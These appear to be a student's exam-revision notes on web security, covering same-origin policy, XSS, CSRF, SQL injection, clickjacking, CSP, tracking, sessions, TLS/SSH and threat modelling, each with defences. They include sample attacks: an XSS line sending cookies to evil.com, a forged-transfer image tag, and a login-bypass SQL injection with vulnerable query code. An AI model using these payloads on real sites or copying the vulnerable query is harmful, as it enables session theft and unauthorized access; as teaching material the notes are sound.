Unit - 03

✅ 1. Same Origin Policy (SOP) (200–250 words)

Introduction:

The Same Origin Policy is a security rule used by web browsers to protect users.It says that one website cannot access data from another website unless both have the same origin (same protocol, domain, and port).

This prevents dangerous websites from stealing your information from trusted sites.For example, Facebook and a random website cannot share cookies unless they are from the same origin.SOP keeps your private data safe by blocking cross-site access.It acts like a boundary between websites.It ensures that one website's JavaScript cannot freely access the data of another website unless both share the same **protocol, domain, and port**.

Concept:

- "Origin" = Protocol + Domain + Port
  Example:
    - https://example.com:443 → one origin
    - http://example.com (different protocol) → different origin
- SOP prevents unauthorized reading of cookies, session storage, or page data across different sites.

Working:

- A script loaded from one site **cannot**:
  ✔ Read or modify DOM of another site
  ✔ Access cookies or localStorage of another site
  ✔ Make unauthorized AJAX calls to another origin
- It **can**:
  ✔ Make requests to different sites but **cannot read** sensitive responses (blocked by SOP).

Why SOP?

- Stops attackers from loading your banking site in a hidden frame and reading your account details.
- Prevents malicious ads/scripts from stealing data.

Limitations:

- SOP alone cannot protect against all attacks.

- Complex modern web apps use **CORS** (Cross-Origin Resource Sharing) to safely relax SOP when needed.

Conclusion:
SOP is the backbone of browser security that isolates websites from each other and prevents cross-origin data theft.

✅ 2. Cross-Site Scripting (XSS) Attack (200–250 words)

Introduction:
XSS is a web security attack where an attacker injects malicious JavaScript into legitimate webpages. It targets users, not servers, and steals data, sessions, or performs actions on behalf of users.Cross-Site Scripting happens when a hacker injects harmful JavaScript into a website.The script runs inside the victim's browser without their knowledge.It usually happens in input fields that are not properly checked or cleaned.

For example, if a comment box accepts <script> tags, the attacker can execute code on others' browsers.

This attack can steal cookies, session IDs, or redirect users.XSS is one of the most common web vulnerabilities.

Types of XSS:

1. **Stored XSS** – malicious script stored in database (most dangerous)
2. **Reflected XSS** – script comes from URL or user input
3. **DOM-based XSS** – vulnerability inside JavaScript code of webpage

How it Works:

- Attacker injects `<script>` code through forms, comments, URLs, search boxes, etc.
- When another user loads the page, the browser runs the malicious script.
- The script can:
  ✔ Steal cookies
  ✔ Redirect user
  ✔ Modify webpage
  ✔ Capture keystrokes
  ✔ Perform unauthorized actions

Example:

```
<script>document.location='http://evil.com/steal?
c='+document.cookie;</script>
```

Protection:

- Input validation
- Output encoding (HTML, JS, URL encoding)
- Content Security Policy (CSP)
- Avoid using `innerHTML`
- Use frameworks with auto-escaping (React, Angular)

Conclusion:
XSS is dangerous because it uses the trust between browser and website. Preventing it requires strict input/output handling and security headers.

✅ 3. Cross-Site Request Forgery (CSRF) (200–250 words)

Introduction:
CSRF is an attack where a logged-in user unknowingly performs an action on a website without consent. The attacker "tricks" the browser into sending valid session cookies to perform harmful actions.CSRF forces a logged-in user to perform actions they didn't intend.It works because browsers automatically send cookies with every request.

Example: If you are logged in to your bank, and you open a malicious link, it may transfer money without permission.
The hacker tricks your browser into making requests on another site.
You don't even need to know the attack is happening.
It misuses the trust the website has in the user.

How it Works:

1. User logs into bank.com
2. They open a malicious website in another tab
3. That site triggers a hidden request:

```
<img src="https://bank.com/transfer?to=attacker&amount=5000">
```

4. Browser automatically includes cookies → request becomes valid
5. The bank processes transfer

Impact:

- Unauthorized money transfer
- Changing email/password

- Buying items
- Deleting accounts

Why it happens?

- Browsers automatically send session cookies with every request
- User interaction not required

Protection:

- Anti-CSRF tokens
- SameSite cookies (`SameSite=Lax/Strict`)
- Double Submit Cookie technique
- User re-authentication for sensitive operations
- Avoid GET for state-changing actions

Conclusion:
CSRF abuses user trust and browser behavior. Proper tokens and cookie settings can completely stop CSRF attacks.

✅ 4. SQL Injection Attack (200–250 words)

Introduction:
SQL Injection is a severe attack where an attacker inserts malicious SQL queries into user input fields to manipulate the database. It happens due to poor input validation and direct string concatenation in queries.

SQL Injection happens when a hacker inserts malicious SQL commands into an input field.
If a website directly puts user input into queries, attackers can modify the database.
Example: entering `' OR '1'='1` in a login field can bypass authentication.
This attack can view, modify, or delete database data.
It occurs when input is not properly validated.
SQL Injection is extremely dangerous and can break the entire database.

How it Works:
Example vulnerable code:

```
"SELECT * FROM users WHERE username='" + user + "';"
```

Attacker enters:

```
' OR '1'='1
```

Final query:

```
SELECT * FROM users WHERE username='' OR '1'='1';
```
This returns **all records**, bypassing login.

Consequences:

- Unauthorized login
- Data theft / modification
- Database corruption
- Full server takeover (in advanced cases)

Types:

- In-band SQLi (classic)
- Blind SQLi
- Error-based SQLi
- Boolean/time-based SQLi
- Union-based SQLi

Protection:

- Prepared statements / parameterized queries
- Input validation
- Escaping special characters
- Least privilege database access
- Web Application Firewalls (WAF)

Conclusion:
SQL injection is easy to exploit but also easy to prevent using parameterized queries. It remains one of the most dangerous web vulnerabilities.

✅ 5. Clickjacking Attack (200–250 words)

Introduction:
Clickjacking (UI redressing) tricks a user into clicking something different from what they see. Attackers load an invisible website layer above the visible webpage and steal clicks.A fake transparent layer is placed on top of a real webpage.

Users think they are clicking a normal button, but they are actually performing another action.
Example: Clicking “Play Video” but actually clicking “Like” or “Buy”.
Hackers misuse user clicks for harmful actions.

It happens due to embedded iframes and hidden elements.

How it Works:

- Attacker creates a malicious page.
- They embed the victim site in an iframe with opacity 0.
- User thinks they are clicking a button on the attacker's page but are actually clicking a hidden button (like "Transfer Money").
- The click performs harmful actions.

Examples of Exploits:

- Liking a social media page
- Enabling webcam/microphone
- Transferring funds
- Changing security settings

Protection:

- X-Frame-Options header
  - DENY
  - SAMEORIGIN
  - ALLOW-FROM
- frame-ancestors directive in CSP
- UI heuristics (double-click, frame-busting JS)

Conclusion:
Clickjacking manipulates user interface and trust. Modern security headers can fully prevent it.

✅ 6. Content Security Policy (CSP) (200–250 words)

Introduction:
CSP is a powerful security header that helps prevent XSS, data injection, and content manipulation by specifying which sources of content are allowed to load in a webpage.

Example: CSP can allow scripts only from `example.com` and block all others.
It adds another layer of protection even if input validation fails.
CSP makes websites much safer.

Purpose:

- Restrict scripts, images, styles, iframes
- Block inline scripts and unsafe code
- Prevent execution of untrusted resources

Example CSP:

Content-Security-Policy: script-src 'self' https://apis.google.com; object-src 'none';

Features:

- Controls JavaScript sources
- Restricts images, CSS, fonts
- Blocks inline `<script>` unless allowed
- Mitigates XSS by preventing execution of injected code

Important Directives:

- `default-src` – default policy
- `script-src` – javascript restrictions
- `style-src` – css restrictions
- `img-src` – images
- `frame-ancestors` – anti-clickjacking
- `connect-src` – APIs, AJAX

Benefits:

- Acts as an additional security layer
- Limits impact of vulnerabilities
- Helps fulfill security compliance

Conclusion:
CSP is essential for modern web security, enforcing a “whitelist” model to protect against multiple web attacks.

✅ 7. Web Tracking (200–250 words)

Introduction:
Web Tracking means websites monitor user activities online.They track clicks, visited pages, time spent, and interests.This is done using cookies, tracking pixels, and browser fingerprints.

Example: You search for shoes, and you start seeing shoe ads everywhere.Companies use tracking for ads and analytics.

It can help improve user experience but also affect privacy.

Types of Tracking:

- **Cookies Tracking** – identify users across visits
- **Fingerprinting** – track without cookies using device/browser details
- **Tracking Pixels** – invisible images to monitor activity
- **Third-party trackers** – ads, analytics, social media
- **Supercookies & Evercookies** – very persistent tracking

What Data is Tracked?

- Device type
- IP address
- Pages visited
- Clicks, scrolling
- Time spent
- Interests and behavior

Uses:

- Targeted advertising
- Analytics
- Personalization
- Fraud detection
- Recommendation systems

Privacy Issues:

- Lack of transparency
- Cross-site tracking
- Data sharing with third parties

- Profiling users

Prevention:

- Blocking third-party cookies
- Browser privacy modes
- VPN
- Anti-tracking tools (uBlock, Privacy Badger)
- Legal protection: GDPR, CCPA

Conclusion:
Web tracking is useful but must be balanced with user privacy and transparency.

✅ 8. Session Management & User Authentication (200–250 words)

Introduction:
Session management is the process of maintaining user state across multiple requests. Authentication verifies a user's identity, and session tokens ensure the user stays logged in.

How Sessions Work:

- Server creates a session after login
- Generates a unique session ID
- Stores ID in a cookie
- Browser sends cookie with every request
- Server identifies user using session ID

Important Techniques:

- **Session IDs:** random, unpredictable
- **Secure Cookies:**
  - HttpOnly
  - Secure (HTTPS only)
  - SameSite
- **Token-Based Auth:** JWT, OAuth
- **Multi-factor Authentication**

Threats:

- Session hijacking
- Session fixation
- Cookie theft
- Replay attacks

Security Measures:

- Regenerate session ID after login
- Set expiration time
- Use SSL/TLS
- Restrict session scope
- Store minimal data in cookies

Conclusion:
Proper session management is essential for secure login and identity handling. Strong tokens and secure cookies protect user accounts.

✅ 9. Session Integrity (200–250 words)

Introduction:
Session integrity means maintaining accuracy, security, and consistency of a user's session. It ensures that attackers cannot modify, impersonate, or intercept active sessions.

Goals:

- Session must belong to the real user
- Data cannot be altered
- Actions cannot be forged
- Session must not be stolen

Threats:

- Session hijacking
- Man-in-the-middle attacks
- Cookie tampering
- Replay attacks

- CSRF

How to Maintain Integrity:

- Strong, unpredictable session IDs
- Signed or encrypted session tokens
- HTTPS-only communication
- Regenerating session IDs periodically
- Binding session to device or IP address
- Setting session timeout
- Validating user behavior patterns

Server-side Measures:

- Store session data securely
- Use HMAC to sign tokens
- Match tokens against user agents
- Monitor unusual activity

Conclusion:
Session integrity ensures safe user interaction by preventing unauthorized access or manipulation of session data.

✅ 10.⭐ HTTPS, SSL/TLS, and SSH in Web Security (200–250 words)

Introduction (4–5 lines)

Web security mainly focuses on protecting data while it travels over the internet.
When users send passwords or payment details online, attackers can intercept the data.
To prevent this, websites use HTTPS with SSL/TLS to encrypt the connection.
Similarly, servers and administrators use SSH to securely control remote machines.
These technologies ensure privacy, authentication, and secure communication between users and servers.

⭐ Explanation (Paragraph + Points)

🔷 1. HTTPS (HyperText Transfer Protocol Secure)

HTTPS is the secure version of HTTP. It ensures that data between the browser and website is **encrypted** using SSL/TLS.
When a website uses HTTPS, attackers cannot read or modify the information in transit.

Features:

- Encrypts data (banking, passwords, forms)
- Uses SSL/TLS certificates
- Prevents Man-in-the-Middle attacks
- Shows a "lock icon" in the browser

🔷 2. SSL/TLS (Secure Sockets Layer / Transport Layer Security)

SSL/TLS is the **protocol behind HTTPS** that provides security features.

Main Functions:

- **Encryption:** Converts readable data into unreadable form
- **Authentication:** Confirms website identity using certificates
- **Integrity:** Ensures data is not changed during transfer

TLS is the improved and modern version of SSL.

🔷 3. SSH (Secure Shell)

SSH is used for **secure remote login** to servers (unlike HTTPS which is for websites).

Features:

- Encrypts commands sent to remote servers
- Protects admin username and password
- Uses public-key authentication
- Prevents eavesdropping and session hijacking

Used for:

- Managing servers
- Secure file transfer (SCP, SFTP)
- Running remote commands

⭐ Conclusion

HTTPS protects users on the web, SSL/TLS provides the encryption behind it, and SSH protects remote server access. Together, they form the core of internet security.

✅ 11. Threat Modelling (200–250 words)

Introduction:
Threat modelling is a structured approach to identifying, analyzing, and preventing security threats in systems during design and development. It helps developers understand "what can go wrong."

Threat modelling is the process of identifying possible risks in a system.
It helps developers understand how attackers can break the system.
Example: before making an app, you check how data could be stolen.
It allows early detection of weaknesses before the attack happens.
Used in software design and development.
Threat modelling makes systems more secure from the start.

Steps (STRIDE Model):

- **S**poofing
- **T**ampering
- **R**epudiation
- **I**nformation Disclosure
- **D**enial of Service
- **E**levation of Privilege

Process:

1. Identify assets (data, users, system resources)
2. Create data flow diagrams
3. Identify potential threats
4. Assess risk (severity + likelihood)
5. Apply mitigation techniques
6. Validate and re-test

Benefits:

- Predict attacks before they happen

- Reduce design flaws
- Improve overall security
- Save cost and time

Approaches:

- STRIDE
- PASTA
- Attack Trees
- VAST models

Conclusion:
Threat modelling makes security proactive instead of reactive. It helps build safer systems by discovering and fixing vulnerabilities early.